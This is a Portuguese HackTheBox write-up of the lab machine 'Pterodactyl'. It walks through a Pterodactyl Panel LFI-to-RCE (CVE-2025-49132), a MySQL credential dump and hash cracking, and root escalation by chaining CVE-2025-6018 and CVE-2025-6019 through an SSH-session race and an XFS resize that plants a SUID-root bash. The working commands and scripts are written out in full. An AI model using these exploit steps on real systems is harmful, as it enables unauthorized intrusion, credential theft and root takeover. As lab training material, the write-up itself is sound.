Máquina Linux Medium (openSUSE Leap 15.6) com Pterodactyl Panel v1.11.10 vulnerável a LFI→RCE não autenticado (CVE-2025-49132). Depois do foothold como
wwwrun, credenciais MySQL extraídas via LFI dumpam a tabelauserse o hash bcrypt dophileasfogg3quebra com a wordlistrockyou.txt. A escalação encadeia dois CVEs do OpenSUSE 15: polkitallow_activevia race nosystemd-logind(CVE-2025-6018) e montagem XFS semnosuidpelo libblockdev (CVE-2025-6019).
Recon
Port scan
rustscan -a pterodactyl.htb -- -sV
Apenas SSH e HTTP. O nginx serve uma página estática de servidor Minecraft em redirect 302 para pterodactyl.htb.
curl -I http://<TARGET_IP>/
Vhost Enumeration
A página principal em pterodactyl.htb não revelou funcionalidade. Enumeração de vhosts identificou panel.pterodactyl.htb, que serve o Pterodactyl Panel v1.11.10 — painel de gerenciamento de servidores de jogos.
ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 145 -mc 200
O painel administrativo:
Foothold
O Pterodactyl Panel v1.11.10 é vulnerável a CVE-2025-49132 — um LFI não autenticado no endpoint /locales/locale.json. Os parâmetros locale e namespace são passados diretamente a include() do PHP sem sanitização, permitindo path traversal.
LFI — config extraction
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/database" | jq
Credenciais MySQL extraídas: pterodactyl:PteraPanel.
RCE via PEAR pearcmd.php
O LFI combinado com pearcmd.php (presente em /usr/share/php/PEAR/pearcmd.php) permite escrita de arquivos PHP arbitrários e RCE. O exploit faz duas chamadas: a primeira passa +config-create+/ ao pearcmd para escrever um payload PHP em /tmp/<random>.php, a segunda include-o via path traversal.
python3 exploit.py http://panel.pterodactyl.htb --pear-dir /usr/share/php/PEAR --rce-cmd "id"
Lateral Movement
MySQL — hash extraction
Com as credenciais MySQL extraídas via LFI, dumpei a tabela users através do RCE (como wwwrun), forçando TCP via -h 127.0.0.1 porque o usuário pterodactyl está restrito a esse host, não localhost:
mysql -h127.0.0.1 -upterodactyl -pPteraPanel panel -e "SELECT username,password FROM users"
Hash cracking
hashcat -m 3200 phileasfogg3.bcrypt /usr/share/wordlists/rockyou.txt
SSH as phileasfogg3
ssh phileasfogg3@pterodactyl.htb
Com acesso como phileasfogg3, obtive a flag de user em /home/phileasfogg3/user.txt.
Privilege Escalation
Encadeei dois CVEs do stack OpenSUSE 15 publicados pela Qualys em junho de 2025: CVE-2025-6018 (escalação para allow_active no polkit) e CVE-2025-6019 (udisks2/libblockdev montando XFS sem nosuid).
- CVE-2025-6018 — o polkit concede
allow_activea sessões que opam_systemdregistra numseatlocal (seat0). Uma sessão SSH normal fica emseatvazio (Type=tty,Remote=yes), então ogdbus CanRebootrespondechallenge. Para forçarseat0, abri dezenas de sessões SSH concorrentes: ologindocasionalmente registra uma delas emseat0, e essa sessão passa a ser tratada como fisicamente presente (allow_active=yes). - CVE-2025-6019 — a partir de uma sessão
allow_active, olibblockdev(chamado peloudisks2paraFilesystem.Resize) monta temporariamente o XFS de um loop device sem a flagnosuid. Com um binário SUID-root dentro da imagem, a execução durante a janela de montagem dáeuid=0.
Existe um vetor alternativo para allow_active que planta XDG_SEAT/XDG_VTNR em ~/.pam_environment (lido pelo pam_env). Na imagem atual da box ele não funciona: o pam_env roda depois do pam_systemd no common-session e o user_readenv está desligado, então o arquivo é ignorado. Por isso o caminho aqui é a race no logind, que entrega o mesmo allow_active da CVE-2025-6018 sem depender da injeção via PAM.
Phase 1 — XFS image (attacker)
O mkfs.xfs recente do Kali cria imagens com features que o libblockdev no openSUSE 15.6 rejeita (rmapbt=1, exchange=1, parent=1, bigtime=1, inobtcount=1, nrext64=1). É preciso forçar layout legacy:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=300 status=none
mkfs.xfs -f -m crc=1,finobt=1,rmapbt=0,reflink=1,bigtime=0,inobtcount=0 -i sparse=1,nrext64=0,exchange=0 -n parent=0 /tmp/xfs.image
Depois montei a imagem, copiei para dentro o bash do próprio target (mesma glibc, obtido via scp phileasfogg3@pterodactyl.htb:/bin/bash), liguei o bit SUID e desmontei:
sudo mount -t xfs /tmp/xfs.image /mnt/xfs
sudo cp ./bash-target /mnt/xfs/bash
sudo chmod u+s /mnt/xfs/bash
sudo umount /mnt/xfs
Transferi a imagem (300 MB) para /tmp/xfs.image na box via rsync -z (compressão sobre a VPN).
Phase 2 — allow_active via race no logind (CVE-2025-6018)
Numa sessão SSH normal a sessão é tty sem seat, e o polkit pede auth interativa — gdbus CanReboot responde challenge:
Para forçar seat0, disparei dezenas de sessões SSH concorrentes. Sob essa concorrência o systemd-logind registra uma das sessões em seat0, e essa sessão passa a ser allow_active:
for i in $(seq 1 70); do
sshpass -p '!QAZ2wsx' ssh -tt phileasfogg3@pterodactyl.htb 'if [ "$(loginctl show-session self -p Seat --value)" = seat0 ]; then <exploit>; fi' &
done
Na sessão que ganha seat0, o gdbus CanReboot passa a retornar 'yes':
Phase 3 — XFS resize → root (CVE-2025-6019)
Tudo o que segue roda dentro da sessão que ganhou seat0. Mapeei a imagem como loop device (precisa de allow_active), disparei workers que copiam o bash SUID-root assim que o XFS é montado, e dei o Filesystem.Resize em loop até um worker capturar a janela de montagem sem nosuid:
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null
LOOP=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -oE '/dev/loop[0-9]+')
for w in $(seq 1 50); do
( while [ ! -f /tmp/rootsh ]; do for b in /tmp/blockdev.*/bash; do
[ -e "$b" ] && "$b" -p -c 'T=/tmp/.rb$$; cp /bin/bash $T; chown 0:0 $T; chmod 4755 $T; mv -f $T /tmp/rootsh'
done; done ) &
done
for t in $(seq 1 60); do
[ -f /tmp/rootsh ] && break
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/$(basename $LOOP) --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done
O udisks2 monta o XFS em /tmp/blockdev.XXXX/ sem nosuid e tenta desmontar logo após o xfs_growfs; na janela curta, um worker copia o bash para /tmp/rootsh com euid=0. O resultado é um bash SUID-root permanente:
/tmp/rootsh -p -c 'id; ls -la /root/root.txt'
euid=0(root) — CVE-2025-6019 confirmado. Com o bash SUID-root, li a flag em /root/root.txt.
Lessons Learned
- MySQL
localhostvs127.0.0.1: oMariaDBresolvelocalhostpara Unix socket; se oGRANTéuser@'127.0.0.1', é preciso forçar TCP. Confundir os dois custa tempo de debug. - O vetor do CVE-2025-6018 depende da config exata do PAM. A variante via
pam_env(plantarXDG_SEAT/XDG_VTNRem~/.pam_environment) só funciona se opam_envrodar antes dopam_systemde ouser_readenvestiver ligado. Quando a ordem é invertida, o arquivo é ignorado — mas o mesmoallow_activesai de uma race nosystemd-logind. Vale validar comgrep pam_systemd /etc/pam.d/common-sessionantes de assumir o vetor. - Compatibilidade XFS atacante↔alvo:
xfsprogs≥ 6.0 habilita features (rmapbt,exchange,parent,bigtime,inobtcount,nrext64) que olibblockdevno openSUSE Leap 15.6 não suporta. Forçar layout legacy é obrigatório, e obashdentro da imagem deve vir do próprio alvo (mesmaglibc). - A janela do
xfs_growfsé curta e disputada: oudisks2monta semnosuid, cresce o filesystem e desmonta em milissegundos. Vários workers +Filesystem.Resizeem loop maximizam a chance de capturar a janela; ocpdo bash precisa demvatômico para não ser corrompido por escritas concorrentes.
Impact
- Um provedor de hospedagem de game servers concentra muitos clientes num só host; aqui o atacante compromete o painel inteiro e, com ele, todos os servidores de jogo geridos e os dados dos jogadores (contas, pagamentos, mundos salvos).
- O vazamento do banco e do código-fonte da aplicação expõe a base de clientes inteira de uma vez — um cenário de extorsão ou ransomware multi-tenant.
Exploits
Os scripts usados estão em Programming/htb/pterodactyl:
cve-2025-49132.py— LFI→RCE no Pterodactyl Panel (check de versão, leak deconfig/database, RCE via PEARpearcmd.php).build-xfs-image.sh— monta a imagem XFS legacy combashSUID-root dentro (CVE-2025-6019, phase 1).cve-2025-6018-race.sh— abre sessões SSH concorrentes para ganharseat0/allow_activevia race nologind.cve-2025-6019-resize.sh—loop-setup+ sustain +Filesystem.Resize→bashSUID-root.